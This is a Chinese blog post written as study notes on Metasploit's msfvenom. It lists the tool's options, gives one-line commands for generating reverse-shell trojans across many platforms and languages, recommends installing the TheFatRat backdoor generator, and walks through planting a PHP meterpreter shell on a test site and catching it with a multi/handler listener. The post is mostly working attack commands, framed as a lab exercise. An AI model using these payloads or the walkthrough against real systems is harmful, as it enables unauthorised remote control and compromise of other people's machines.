ITHO博客

从网络安全入门到放弃

Kali Liunx下msfvenom利用方法

2020-2-23 ITHO 二维码 学习笔记

参数说明:
-p, --payload < payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用& #039;-& #039;或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled < length> 为payload预先指定一个NOP滑动长度
-f, --format < format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch < architecture> 指定payload的目标架构
–platform < platform> 指定payload的目标平台
-s, --space < length> 设定有效攻击荷载的最大长度
-b, --bad-chars < list> 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, --iterations < count> 指定payload的编码次数
-c, --add-code < path> 指定一个附加的win32 shellcode文件
-x, --template < path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, --out < path> 保存payload
-v, --var-name < name> 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
-h, --help 查看帮助选项
–help-formats 查看msf支持的输出格式列表

不同系统下生成木马的命令(在对方的操作系统中生成木马)-p后面就是payload
Linux
#msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf Windows
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Mac
#msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
PHP
#msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa
Scripting Payloads
Python
#msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
#msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
#msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Linux Based Shellcode
#msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Windows Based Shellcode
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>
Mac Based Shellcode
#msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f <language>

推荐一个便捷化payload生成https://github.com/Screetsec/TheFatRat
git clone https://github.com/Screetsec/TheFatRat.git cd TheFatRat
chmod +x setup.sh && ./setup.sh

利用方法:

0x01
1.我们生成一个PHP木马,kali攻击机ip为192.168.84.132 定义的端口为4444 
#msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.84.132 LPORT=4444 -f raw > shell.php
点击查看原图

2.把生成的shell.php上传到测试机网站目录中,确保shell.php能被访问。

0x02
首先进入msf控制台
#msfconsole
点击查看原图
1.进入use exploit/multi/handler
#use exploit/multi/handler
2.设置Payload  ---  set PAYLOAD <Payload name>(ps:本次使用的是php的payload
#set PAYLOAD php/meterpreter_reverse_tcp
3.设置ip地址  ---  set LHOST <LHOST value>
#set LHOST 192.168.84.132
4.设置端口号  ---  set LPORT <LPORT value>
#set LPORT 4444
5.开启监听
#exploit
点击查看原图

0x03
当客户机执行木马后,得到一个meterpreter,我们就可以进行的操作。
在开启监听后,访问测试机中shell.php地址。等待终端出现meterpreter >,成功!
点击查看原图

总结:
msfvenom可以生成不同系统的木马,原理都一样,在攻击机生成一个木马后开启监听,测试机打开运行木马即可。
监听里设置Payload是跟生成木马代码里的Payload一样的,在上方生成木马代码中,Payload部分已经用下划线表示。
如果有哪里不对需要更正的请指出,谢谢。

参考资料:
Kali-利用metasploit中的exploit/multi/handler进行攻击
msfvenom生成各类Payload命令
TheFatRat:Msfvenom傻瓜化后门生成工具
使用msfvenom生成木马用于监听别人的操作

标签: kali msfvenom linux